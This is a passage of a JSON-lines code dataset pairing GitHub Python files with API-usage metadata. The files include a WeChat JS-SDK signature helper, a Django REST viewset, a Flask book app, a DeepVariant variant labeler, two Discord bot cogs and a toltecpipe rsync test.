"exceptions.FinalizationError", "line_number": 190, "usage_type": "call"}, {"api_name": "utils.parts_to_path", "line_number": 207, "usage_type": "call"}, {"api_name": "utils.path_to_parts", "line_number": 208, "usage_type": "call"}, {"api_name": "urllib.parse.unquote", "line_number": 223, "usage_type": "name"}, {"api_name": "route.segments", "line_number": 231, "usage_type": "attribute"}, {"api_name": "route.segments", "line_number": 236, "usage_type": "attribute"}, {"api_name": "route.segments", "line_number": 237, "usage_type": "attribute"}, {"api_name": "route.segments", "line_number": 241, "usage_type": "attribute"}, {"api_name": "route.segments", "line_number": 242, "usage_type": "attribute"}, {"api_name": "route.segments", "line_number": 245, "usage_type": "attribute"}, {"api_name": "route.Route", "line_number": 160, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 257, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 257, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 258, "usage_type": "attribute"}, {"api_name": "typing.Pattern", "line_number": 258, "usage_type": "attribute"}, {"api_name": "typing.Type", "line_number": 259, "usage_type": "attribute"}, {"api_name": "sanic_routing.patterns.ParamInfo", "line_number": 259, "usage_type": "name"}, {"api_name": "exceptions.InvalidUsage", "line_number": 280, "usage_type": "call"}, {"api_name": "exceptions.InvalidUsage", "line_number": 285, "usage_type": "call"}, {"api_name": "typing.Pattern", "line_number": 289, "usage_type": "attribute"}, {"api_name": "exceptions.InvalidUsage", "line_number": 290, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 297, "usage_type": "call"}, {"api_name": "exceptions.FinalizationError", "line_number": 317, "usage_type": "call"}, {"api_name": "exceptions.FinalizationError", "line_number": 319, "usage_type": "call"}, {"api_name": "route.finalize", "line_number": 329, "usage_type": "call"}, {"api_name": "tree.Tree", "line_number": 340, "usage_type": "call"}, {"api_name": "route.reset", "line_number": 350, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 354, "usage_type": "attribute"}, {"api_name": "sanic_routing.group.RouteGroup", "line_number": 354, "usage_type": "name"}, {"api_name": "line.Line", "line_number": 387, "usage_type": "call"}, {"api_name": "line.Line", "line_number": 388, "usage_type": "call"}, {"api_name": "line.Line", "line_number": 399, "usage_type": "call"}, {"api_name": "line.Line", "line_number": 400, "usage_type": "call"}, {"api_name": "line.Line", "line_number": 404, "usage_type": "call"}, {"api_name": "line.Line", "line_number": 405, "usage_type": "call"}, {"api_name": "line.Line", "line_number": 406, "usage_type": "call"}, {"api_name": "line.Line", "line_number": 407, "usage_type": "call"}, {"api_name": "route.parts", "line_number": 427, "usage_type": "attribute"}, {"api_name": "line.Line", "line_number": 430, "usage_type": "call"}, {"api_name": "line.Line", "line_number": 433, "usage_type": "call"}, {"api_name": "line.Line", "line_number": 434, "usage_type": "call"}, {"api_name": "line.Line", "line_number": 438, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 446, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 447, "usage_type": "attribute"}, {"api_name": "line.Line", "line_number": 447, "usage_type": "name"}, {"api_name": "tree.Node", "line_number": 451, "usage_type": "call"}, {"api_name": "tree.Node._inject_method_check", "line_number": 455, "usage_type": "call"}, {"api_name": "tree.Node", "line_number": 455, "usage_type": "name"}, {"api_name": "line.Line", "line_number": 459, "usage_type": "call"}, {"api_name": "line.Line", "line_number": 466, "usage_type": "call"}, {"api_name": "line.Line", "line_number": 468, "usage_type": "call"}, {"api_name": "line.Line", "line_number": 469, "usage_type": "call"}, {"api_name": "line.Line", "line_number": 479, "usage_type": "call"}, {"api_name": "ast.parse", "line_number": 487, "usage_type": "call"}, {"api_name": "sys.version_info", "line_number": 492, "usage_type": "attribute"}, {"api_name": "ast.unparse", "line_number": 500, "usage_type": "call"}, {"api_name": "ast.fix_missing_locations", "line_number": 505, "usage_type": "call"}, {"api_name": "exceptions.FinalizationError", "line_number": 517, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 521, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 521, "usage_type": "attribute"}, {"api_name": "warnings.warn", "line_number": 549, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 569, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 569, "usage_type": "attribute"}, {"api_name": "ast.Compare", "line_number": 571, "usage_type": "attribute"}, {"api_name": "ast.BoolOp", "line_number": 573, "usage_type": "attribute"}, {"api_name": "ast.And", "line_number": 574, "usage_type": "attribute"}, {"api_name": "ast.BoolOp", "line_number": 579, "usage_type": "call"}, {"api_name": "ast.And", "line_number": 579, "usage_type": "call"}, {"api_name": "ast.If", "line_number": 595, "usage_type": "attribute"}, {"api_name": "ast.If", "line_number": 612, "usage_type": "attribute"}, {"api_name": "utils.path_to_parts", "line_number": 615, "usage_type": "call"}]}
{"seq_id": "34095786952", "text": "# -*- coding:UTF-8 -*-\nfrom django.core.cache import cache\nimport requests\nimport xml.etree.ElementTree as ET\nimport time,random,hashlib,string\n\nAppID = 'wx123456'\nAppSecret = '1234567890'\n\n\ndef getToken():\n    baseUrl = 'https://api.weixin.qq.com/cgi-bin/token'\n    params = {\n        'grant_type':'client_credential',\n        'appid':AppID,\n        'secret':AppSecret,\n    }\n\n    token = cache.get('access_token')\n\n    if token:\n        str1 = token\n        return str1\n    else:\n        r = requests.get(baseUrl,params=params)\n        data = r.json()\n        if data['access_token']:\n            cache.set('access_token',data['access_token'],7000)\n            str1 = data['access_token']\n            return str1\n        else:\n            str1 = ''\n            return str1\n\ndef getTicket():\n    token = getToken()\n    print('token=',token)\n    baseUrl = 'https://api.weixin.qq.com/cgi-bin/ticket/getticket'\n\n    if token:\n\n        pramas = {\n            'access_token':token,\n            'type':'jsapi',\n        }\n\n        ticket = cache.get('ticket')\n\n        if ticket:\n            return ticket\n        else:\n            r = requests.get(baseUrl,params=pramas)\n            data = r.json()\n            if data['ticket']:\n                cache.set('ticket',data['ticket'],7000)\n                return data['ticket']\n            else:\n                str1 = ''\n                return str1\n    else:\n        str1 = ''\n        return str1\n\ndef wxconf(url):\n    timestamp = str(int(time.time()))\n    nonceStr = ''.join(random.sample(string.ascii_letters + string.digits, 13))\n    appId = AppID\n\n    ticket = getTicket()\n    print('ticket=',ticket)\n    if ticket:\n        str1 = 'jsapi_ticket='+ ticket +'&noncestr='+nonceStr+'&timestamp='+timestamp+'&url='+url\n        hash = hashlib.sha1()\n        hash.update(str1.encode('utf-8'))\n        signature = hash.hexdigest()\n        print('signature=',signature)\n        data = {\n            'timestamp':timestamp,\n            'nonceStr':nonceStr,\n            'appId':appId,\n            'signature':signature,\n        }\n        return data\n    else:\n        data = ''\n        return data\n\n\n", "repo_name": "nodeweb/examples", "sub_path": "djangoApp/wechat/api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 2134, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.core.cache.cache.get", "line_number": 19, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 19, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 25, "usage_type": "call"}, {"api_name": "django.core.cache.cache.set", "line_number": 28, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 28, "usage_type": "name"}, {"api_name": "django.core.cache.cache.get", "line_number": 47, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 47, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 52, "usage_type": "call"}, {"api_name": "django.core.cache.cache.set", "line_number": 55, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 55, "usage_type": "name"}, {"api_name": "time.time", "line_number": 65, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 66, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 66, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 66, "usage_type": "attribute"}, {"api_name": "hashlib.sha1", "line_number": 73, "usage_type": "call"}]}
{"seq_id": "24815897578", "text": "\nfrom toltecpipe.core.data_store import ToltecRawDataStore\nimport json\n\n\n\ndef test_rsync_commands():\n    rds = ToltecRawDataStore('/data_lmt')\n    commands = rds.make_rsync_commands(\n            dest_path='.',\n            master='ics',\n            obsnum=17514,\n            subobsnum=0,\n            scannum=0,\n            )\n    print(json.dumps(commands, indent=2))\n\n    commands = rds.make_rsync_commands(\n            dest_path='.',\n            master='tcs',\n            obsnum=17514,\n            subobsnum=0,\n            scannum=0,\n            )\n    print(json.dumps(commands, indent=2))\n", "repo_name": "toltec-astro/toltecpipe", "sub_path": "tests/test_data_store.py", "file_name": "test_data_store.py", "file_ext": "py", "file_size_in_byte": 590, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "toltecpipe.core.data_store.ToltecRawDataStore", "line_number": 8, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 16, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "17900001930", "text": "# What this modules does:\r\n# - Sends funny messages to users based on their message\r\n\r\nimport discord\r\nfrom discord.ext import commands\r\n\r\nclass Message(commands.Cog):\r\n\tdef __init__(self, client):\r\n\t\tself.client = client\r\n\r\n\t@commands.Cog.listener()\r\n\tasync def on_message(self, message):\r\n\t\tif message.author == self.client.user:\r\n\t\t\treturn\r\n\t\telif message.content.startswith('Amo-te'):\r\n\t\t\tawait message.channel.send('Só amo o Miguel Gueifão...!')\r\n\t\telif \"slack\" in message.content:\r\n\t\t\tawait message.channel.send(\r\n\t\t\t\t'do you miss the :rotating_light: slack police :rotating_light:'\r\n\t\t\t)\r\n\t\telif \"vs code\" in message.content:\r\n\t\t\tawait message.channel.send(\r\n\t\t\t\t'Hey! Here are the :rotating_light: top 10 :boom: reasons to use VSCode: \\n(null)'\r\n\t\t\t)\r\n\r\ndef setup(client):\r\n\tclient.add_cog(Message(client))\r\n", "repo_name": "mvtta/42discord_bot", "sub_path": "cogs/message.py", "file_name": "message.py", "file_ext": "py", "file_size_in_byte": 818, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "discord.ext.commands.Cog", "line_number": 7, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 7, "usage_type": "name"}, {"api_name": "discord.ext.commands.Cog.listener", "line_number": 11, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 11, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 11, "usage_type": "name"}]}
{"seq_id": "7517844645", "text": "from rest_framework import viewsets\nfrom rest_framework.exceptions import PermissionDenied\nfrom rest_framework.generics import get_object_or_404\nfrom rest_framework.permissions import IsAuthenticated\n\nfrom .models import CustomUser\nfrom .serializers import UserSerializer\n\n\nclass UserViewSet(viewsets.ModelViewSet):\n    http_method_names = [\"get\"]\n    serializer_class = UserSerializer\n    permission_classes = (IsAuthenticated,)\n    lookup_field = \"uid\"\n\n    def get_queryset(self):\n        if self.request.user.is_superuser:\n            return CustomUser.objects.all().order_by(\"-last_login\")\n        raise PermissionDenied(code=403)\n\n    def get_object(self):\n        filter_kwargs = {self.lookup_field: self.kwargs[self.lookup_field]}\n        obj = get_object_or_404(CustomUser, **filter_kwargs)\n        if not self.request.user.is_superuser:\n            if str(self.request.user) != obj.email:\n                raise PermissionDenied(code=403)\n        return obj\n", "repo_name": "mattyocode/moviechooser-api", "sub_path": "app/accounts/viewsets.py", "file_name": "viewsets.py", "file_ext": "py", "file_size_in_byte": 967, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 10, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 10, "usage_type": "name"}, {"api_name": "serializers.UserSerializer", "line_number": 12, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 13, "usage_type": "name"}, {"api_name": "models.CustomUser.objects.all", "line_number": 18, "usage_type": "call"}, {"api_name": "models.CustomUser.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "models.CustomUser", "line_number": 18, "usage_type": "name"}, {"api_name": "rest_framework.exceptions.PermissionDenied", "line_number": 19, "usage_type": "call"}, {"api_name": "rest_framework.generics.get_object_or_404", "line_number": 23, "usage_type": "call"}, {"api_name": "models.CustomUser", "line_number": 23, "usage_type": "argument"}, {"api_name": "rest_framework.exceptions.PermissionDenied", "line_number": 26, "usage_type": "call"}]}
{"seq_id": "10870071468", "text": "import json\nimport os\nimport flask\nfrom flask import jsonify\nfrom flask import Flask\nfrom flask import Flask, request, render_template\n\n\napp = Flask(__name__)\n\n@app.route('/selection')\ndef book_selection():\n\n    \n    book = request.args['book']\n\n    bookobj = [\n        {\n          \"Book Name\": \"Clean Architecture\",\n          \"Author\": \"Robert Martin\",\n          \"ISBN\": book,\n          \"Avaliability\": \"In-Stock\",\n          \"Course\": \"Advance Software Engineering (CS604-A)\"\n        }]\n\n\n\n    return jsonify(bookobj)\n\n\n@app.route('/selection', methods=(['GET', 'POST']))\ndef select_book():   \n    results = [\n        {\n          \"Book Name\": \"Clean Architecture\",\n          \"Author\": \"Robert Martin\",\n          \"ISBN\": \"978-0134494166\",\n          \"Avaliability\": \"In-Stock\",\n          \"Course\": \"Advance Software Engineering (CS604-A)\",\n            \n        },\n        {\n          \"Book Name\": \"Cryptography And Network Security\",\n          \"Author\": \"William Stallings\",\n          \"ISBN\": \"978-93-325-8522-5\",\n          \"Avaliability\": \"In-Stock\",\n          \"Course\": \"Cryptography (CS625-A)\",\n         },\n        {\n          \"Book Name\": \"Fundamentals of Information Systems Security\",\n          \"Author\": \"David Kim\",\n          \"ISBN\": \"978-1-284-11645-8\",\n          \"Avaliability\": \"In-Stock\",\n          \"Course\": \"Intro to Cyber Security (CS626-A)\",\n\n        }    \n \n    ]\n \n    return jsonify(results)\n\nif __name__ == '__main__':\n    app.run()\n", "repo_name": "psideleau/shu-book-rental-reserve", "sub_path": "Select.py", "file_name": "Select.py", "file_ext": "py", "file_size_in_byte": 1452, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 15, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 15, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 60, "usage_type": "call"}]}
{"seq_id": "70124751933", "text": "from absl import logging\n\nfrom third_party.nucleus.protos import variants_pb2\nfrom third_party.nucleus.util import variant_utils\nfrom third_party.nucleus.util import variantcall_utils\nfrom deepvariant.labeler import variant_labeler\n\n\nclass PositionalVariantLabeler(variant_labeler.VariantLabeler):\n  \"\"\"Finds matching \"truth\" variants using a position-specific labeler.\n\n  This is the original variant labeler from DeepVariant used up until v0.5,\n  which assigns labels to variant calls by matching the chrom:position of a\n  candidate variant with ones in truth, and then if one exists, assigns the\n  label based on the genotype of the matched truth variant. This method works\n  reasonably well but cannot handle complex representational differences between\n  the candidate variants and the truth variants.\n  \"\"\"\n\n  def __init__(self, truth_vcf_reader, confident_regions=None):\n    \"\"\"Creates a new VariantLabeler.\n\n    Args:\n      truth_vcf_reader: a VcfReader object that points to our truth variant set.\n      confident_regions: A RangeSet containing all of the confidently called\n        regions. A variant that falls outside of one of these regions will be\n        receive a special not-confident marker. If None, the confident regions\n        constraint won't be enforced, and all variants will be included.\n\n    Raises:\n      ValueError: if vcf_reader is None.\n    \"\"\"\n    super(PositionalVariantLabeler, self).__init__(\n        truth_vcf_reader=truth_vcf_reader, confident_regions=confident_regions)\n\n  def label_variants(self, variants, region=None):\n    for variant in variants:\n      is_confident, truth_variant = self._match(\n          variant_utils.unphase_all_genotypes(variant))\n\n      genotype = None\n      if truth_variant is not None:\n        genotype = _genotype_from_matched_truth(variant, truth_variant)\n\n      yield variant_labeler.VariantLabel(\n          is_confident=is_confident, variant=variant, genotype=genotype)\n\n  def _match(self, variant):\n    \"\"\"Get a truth variant matching variant.\n\n    A matching variant is defined here as one that starts at the same position\n    on the genome as variant. The best match is then narrowed down by finding\n    the variant with a matching alt allele, if it exists, otherwise the first\n    matching variant is used regardless of alt alleles. This allows the client\n    to make decisions on how to translate a matched between variant and\n    truth_variant into a label (e.g. by comparing the alleles).\n\n    If multiple variants are detected, this code will attempt to find the best\n    match by comparing to `variant`. Note that some simplification of alleles\n    are applied first before we compare. For example, 'GAAA->GAA' should be the\n    same as 'GA->G'. If no good matches are detected, the logic currently falls\n    back to the first element in matches.\n\n    Args:\n      variant: Our candidate third_party.nucleus.protos.Variant variant.\n\n    Returns:\n      A tuple of (match_status, truth_variant) where match_status is True if\n      we are confident in our truth_variant call or False if not. truth_variant\n      is a third_party.nucleus.protos.Variant object of\n      the truth variant that matched\n      variant, or None if none was found and we aren't confident in being\n      hom-ref here, or a synthetic variant with the same position and alleles as\n      variant but with a hom-ref genotype.\n    \"\"\"\n    variant = variant_utils.simplify_variant_alleles(variant)\n    matched_variant = self._find_matching_variant_in_reader(variant)\n    confident_or_no_constraint = (\n        self._confident_regions is None or\n        self._confident_regions.variant_overlaps(\n            variant, empty_set_return_value=False))\n    if matched_variant is None and confident_or_no_constraint:\n      matched_variant = self._make_synthetic_hom_ref(variant)\n    return confident_or_no_constraint, matched_variant\n\n  def _make_synthetic_hom_ref(self, variant):\n    \"\"\"Creates a version of variant with a hom-ref genotype.\n\n    Args:\n      variant: Our candidate third_party.nucleus.protos.Variant variant.\n\n    Returns:\n      A new Variant with the same position and alleles as variant but with a\n      hom-ref genotype.\n    \"\"\"\n    return variants_pb2.Variant(\n        reference_name=variant.reference_name,\n        start=variant.start,\n        end=variant.end,\n        reference_bases=variant.reference_bases,\n        alternate_bases=variant.alternate_bases,\n        calls=[variants_pb2.VariantCall(genotype=[0, 0])])\n\n  def _find_matching_variant_in_reader(self, variant):\n    \"\"\"Finds a variant in vcf_reader compatible with variant, if one exists.\"\"\"\n    region = variant_utils.variant_position(variant)\n    matches = [\n        variant_utils.simplify_variant_alleles(truth_variant)\n        for truth_variant in self._get_truth_variants(region)\n        if variant.start == truth_variant.start\n    ]\n\n    if not matches:\n      return None\n\n    best_match = None\n    for match in matches:\n      if (match.alternate_bases == variant.alternate_bases and\n          match.reference_bases == variant.reference_bases):\n        best_match = match\n\n    if best_match is None:\n      logging.info(\n          'Multiple matches detected; no good match found. Fall back '\n          'to first. variant: %s: matches: %s', variant, matches)\n      # TODO: The behavior of falling back to the first match is\n      # likely not the best. Think about what to do for different use cases.\n      best_match = matches[0]\n    return best_match\n\n\ndef _genotype_from_matched_truth(candidate_variant, truth_variant):\n  \"\"\"Gets the diploid genotype for candidate_variant from matched truth_variant.\n\n  This method figures out the genotype for candidate_variant by matching alleles\n  in candidate_variant with those used by the genotype assigned to\n  truth_variant. For example, if candidate is A/C and truth is A/C with a 0/1\n  genotype, then this function would return (0, 1) indicating that there's one\n  copy of the A allele and one of C in truth. If the true genotype is 1/1, then\n  this routine would return (1, 1).\n\n  The routine allows candidate_variant and truth_variant to differ in both\n  the number of alternate alleles, and even in the representation of the same\n  alleles due to those differences. For example, candidate could be:\n\n      AGT/A/AGTGT => 2 bp deletion and 2 bp insertion\n\n  and truth could have:\n\n      A/AGT => just the simplified 2 bp insertion\n\n  And this routine will correctly equate the AGT/AGTGT allele in candidate\n  with the A/AGT in truth and use the number of copies of AGT in truth to\n  compute the number of copies of AGTGT when determining the returned genotype.\n\n  Args:\n    candidate_variant: Our candidate third_party.nucleus.protos.Variant variant.\n    truth_variant: Our third_party.nucleus.protos.Variant truth variant\n      containing true alleles and genotypes.\n\n  Returns:\n    A tuple genotypes with the same semantics at the genotype field of the\n    VariantCall proto.\n\n  Raises:\n    ValueError: If candidate_variant is None, truth_variant is None, or\n      truth_variant doesn't have genotypes.\n  \"\"\"\n  if candidate_variant is None:\n    raise ValueError('candidate_variant cannot be None')\n  if truth_variant is None:\n    raise ValueError('truth_variant cannot be None')\n  if not variantcall_utils.has_genotypes(\n      variant_utils.only_call(truth_variant)):\n    raise ValueError('truth_variant needs genotypes to be used for labeling',\n                     truth_variant)\n\n  def _match_one_allele(true_allele):\n    if true_allele == truth_variant.reference_bases:\n      return 0\n    else:\n      simplified_true_allele = variant_utils.simplify_alleles(\n          truth_variant.reference_bases, true_allele)\n      for alt_index, alt_allele in enumerate(candidate_variant.alternate_bases):\n        simplified_alt_allele = variant_utils.simplify_alleles(\n            candidate_variant.reference_bases, alt_allele)\n        if simplified_true_allele == simplified_alt_allele:\n          return alt_index + 1\n      # If nothing matched, we don't have this alt, so the alt allele index for\n      # should be 0 (i.e., not any alt).\n      return 0\n\n  # If our candidate_variant is a reference call, return a (0, 0) genotype.\n  if variant_utils.is_ref(candidate_variant):\n    return (0, 0)\n  else:\n    return tuple(\n        _match_one_allele(true_allele)\n        for true_allele in variant_utils.genotype_as_alleles(\n            variant_utils.unphase_all_genotypes(truth_variant)))\n", "repo_name": "google/deepvariant", "sub_path": "deepvariant/labeler/positional_labeler.py", "file_name": "positional_labeler.py", "file_ext": "py", "file_size_in_byte": 8457, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2970, "dataset": "github-code", "pt": "78", "api": [{"api_name": "deepvariant.labeler.variant_labeler.VariantLabeler", "line_number": 9, "usage_type": "attribute"}, {"api_name": "deepvariant.labeler.variant_labeler", "line_number": 9, "usage_type": "name"}, {"api_name": "third_party.nucleus.util.variant_utils.unphase_all_genotypes", "line_number": 39, "usage_type": "call"}, {"api_name": "third_party.nucleus.util.variant_utils", "line_number": 39, "usage_type": "name"}, {"api_name": "deepvariant.labeler.variant_labeler.VariantLabel", "line_number": 45, "usage_type": "call"}, {"api_name": "deepvariant.labeler.variant_labeler", "line_number": 45, "usage_type": "name"}, {"api_name": "third_party.nucleus.util.variant_utils.simplify_variant_alleles", "line_number": 76, "usage_type": "call"}, {"api_name": "third_party.nucleus.util.variant_utils", "line_number": 76, "usage_type": "name"}, {"api_name": "third_party.nucleus.protos.variants_pb2.Variant", "line_number": 96, "usage_type": "call"}, {"api_name": "third_party.nucleus.protos.variants_pb2", "line_number": 96, "usage_type": "name"}, {"api_name": "third_party.nucleus.protos.variants_pb2.VariantCall", "line_number": 102, "usage_type": "call"}, {"api_name": "third_party.nucleus.protos.variants_pb2", "line_number": 102, "usage_type": "name"}, {"api_name": "third_party.nucleus.util.variant_utils.variant_position", "line_number": 106, "usage_type": "call"}, {"api_name": "third_party.nucleus.util.variant_utils", "line_number": 106, "usage_type": "name"}, {"api_name": "third_party.nucleus.util.variant_utils.simplify_variant_alleles", "line_number": 108, "usage_type": "call"}, {"api_name": "third_party.nucleus.util.variant_utils", "line_number": 108, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 123, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 123, "usage_type": "name"}, {"api_name": "third_party.nucleus.util.variantcall_utils.has_genotypes", "line_number": 173, "usage_type": "call"}, {"api_name": "third_party.nucleus.util.variantcall_utils", "line_number": 173, "usage_type": "name"}, {"api_name": "third_party.nucleus.util.variant_utils.only_call", "line_number": 174, "usage_type": "call"}, {"api_name": "third_party.nucleus.util.variant_utils", "line_number": 174, "usage_type": "name"}, {"api_name": "third_party.nucleus.util.variant_utils.simplify_alleles", "line_number": 182, "usage_type": "call"}, {"api_name": "third_party.nucleus.util.variant_utils", "line_number": 182, "usage_type": "name"}, {"api_name": "third_party.nucleus.util.variant_utils.simplify_alleles", "line_number": 185, "usage_type": "call"}, {"api_name": "third_party.nucleus.util.variant_utils", "line_number": 185, "usage_type": "name"}, {"api_name": "third_party.nucleus.util.variant_utils.is_ref", "line_number": 194, "usage_type": "call"}, {"api_name": "third_party.nucleus.util.variant_utils", "line_number": 194, "usage_type": "name"}, {"api_name": "third_party.nucleus.util.variant_utils.genotype_as_alleles", "line_number": 199, "usage_type": "call"}, {"api_name": "third_party.nucleus.util.variant_utils", "line_number": 199, "usage_type": "name"}, {"api_name": "third_party.nucleus.util.variant_utils.unphase_all_genotypes", "line_number": 200, "usage_type": "call"}, {"api_name": "third_party.nucleus.util.variant_utils", "line_number": 200, "usage_type": "name"}]}
{"seq_id": "75045647293", "text": "import json\nimport logging\nimport random\nimport time\n\nimport aiohttp\nimport discord\nimport discord.ext.commands as commands\n\nimport bot.extensions as ext\nfrom bot.consts import Colors\nfrom bot.messaging.events import Events\n\nlog = logging.getLogger(__name__)\n\n\nclass RandomCog(commands.Cog):\n\n    def __init__(self, bot):\n        self.bot = bot\n\n    @ext.command()\n    @ext.long_help(\n        'Simply flips a coin in discord'\n    )\n    @ext.short_help('Flip a coin!')\n    @ext.example('flip')\n    async def flip(self, ctx):\n\n        random.seed(time.time())\n\n        embed = discord.Embed(title='Coin Flip', color=Colors.Purple)\n\n        heads = discord.File(filename='Heads.jpg',\n                             fp='bot/cogs/random_cog/assets/Heads.jpg')\n\n        tails = discord.File(filename='Tails.jpg',\n                             fp='bot/cogs/random_cog/assets/Tails.jpg')\n\n        if random.randint(0, 1) == 1:\n            attachment = heads\n            embed.set_thumbnail(url='attachment://Heads.jpg')\n        else:\n            attachment = tails\n            embed.set_thumbnail(url='attachment://Tails.jpg')\n\n        await ctx.send(embed=embed, file=attachment)\n\n    @ext.command(aliases=['roll', 'dice'])\n    @ext.long_help(\n        \"\"\"\n        Rolls dice in a XdY format where X is the number of dice and Y is the number of sides on the dice.\n            Example:\n            1d6     -   Rolls 1 die with 6 sides\n            2d8     -   Rolls 2 die with 8 sides\n            3d10    -   Rolls 3 die with 10 sides\n            4d20    -   Rolls 4 die with 20 sides\n        \"\"\"\n    )\n    @ext.short_help('Rolls any type of dice in discord')\n    @ext.example(('roll 1d6', 'roll 4d20'))\n    async def diceroll(self, ctx, dice: str):\n        try:\n            rolls, limit = map(int, dice.split('d'))\n        except Exception:\n            await ctx.send('Entry has to be in a XdY format! See the help command for an example.')\n            return\n\n        result = ', '.join(str(random.randint(1, limit)) for r in range(rolls))\n\n        embed = discord.Embed(title='Dice Roller', description=f'{ctx.message.author.mention} rolled **{dice}**', color=Colors.Purple)\n        embed.add_field(name='Here are the results of their rolls: ', value=result, inline=False)\n        await ctx.send(embed=embed)\n\n    @ext.command(aliases=['8ball', 'ðŸŽ±'])\n    @ext.long_help(\n        'Rolls a magic 8ball to tell you your future, guarenteed to work!'\n    )\n    @ext.short_help('Know your future')\n    @ext.example(('ball Will I have a good day today?', '8ball Will I have a bad day today?'))\n    async def ball(self, ctx, *, question):\n        responses = [\n            'It is certain.',\n            'It is decidedly so.',\n            'Without a doubt.',\n            'Yes â€“ definitely.',\n            'You may rely on it.',\n            'As I see it, yes.',\n            'Most likely.',\n            'Outlook good.',\n            'Yes.',\n            'Signs point to yes.',\n            'Reply hazy, try again.',\n            'Ask again later.',\n            'Better not tell you now.',\n            'Cannot predict now.',\n            'Concentrate and ask again.',\n            'Don\\'t count on it.',\n            'My reply is no.',\n            'My sources say no.',\n            'Outlook not so good.',\n            'Very doubtful.'\n        ]\n        embed = discord.Embed(title='ðŸŽ±', description=f'{random.choice(responses)}', color=Colors.Purple)\n        await ctx.send(embed=embed)\n\n    @ext.command(aliases=['relevant'])\n    @ext.long_help(\n        'Theres always a relevant xkcd for any situation, see if you get lucky with a random one!'\n    )\n    @ext.short_help('\"relevant xkcd\"')\n    @ext.example('xkcd')\n    async def xkcd(self, ctx):\n        async with aiohttp.ClientSession() as session:\n            async with await session.get(url='https://c.xkcd.com/random/comic/') as resp:\n                if (resp.status == 200):\n                    msg = await ctx.send(resp.url)\n                    await self.bot.messenger.publish(Events.on_set_deletable, msg=msg, author=ctx.author, timeout=60)\n                else:\n                    response_info = json.loads(await resp.text())['meta']\n                    embed = discord.Embed(title='xkcd', color=Colors.Error)\n                    embed.add_field(name='Error', value=f\"{response_info['status']}: {response_info['msg']}\")\n                    msg = await ctx.send(embed=embed)\n                    await self.bot.messenger.publish(Events.on_set_deletable, msg=msg, author=ctx.author, timeout=60)\n\n\nasync def setup(bot):\n    await bot.add_cog(RandomCog(bot))\n", "repo_name": "Jay-Madden/SockBot", "sub_path": "bot/cogs/random_cog/random_cog.py", "file_name": "random_cog.py", "file_ext": "py", "file_size_in_byte": 4595, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 17, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 17, "usage_type": "name"}, {"api_name": "bot.extensions", "line_number": 20, "usage_type": "name"}, {"api_name": "random.seed", "line_number": 30, "usage_type": "call"}, {"api_name": "time.time", "line_number": 30, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 32, "usage_type": "call"}, {"api_name": "bot.consts.Colors.Purple", "line_number": 32, "usage_type": "attribute"}, {"api_name": "bot.consts.Colors", "line_number": 32, "usage_type": "name"}, {"api_name": "discord.File", "line_number": 34, "usage_type": "call"}, {"api_name": "discord.File", "line_number": 37, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 40, "usage_type": "call"}, {"api_name": "bot.extensions.command", "line_number": 22, "usage_type": "call"}, {"api_name": "bot.extensions", "line_number": 22, "usage_type": "name"}, {"api_name": "bot.extensions.long_help", "line_number": 23, "usage_type": "call"}, {"api_name": "bot.extensions", "line_number": 23, "usage_type": "name"}, {"api_name": "bot.extensions.short_help", "line_number": 26, "usage_type": "call"}, {"api_name": "bot.extensions", "line_number": 26, "usage_type": "name"}, {"api_name": "bot.extensions.example", "line_number": 27, "usage_type": "call"}, 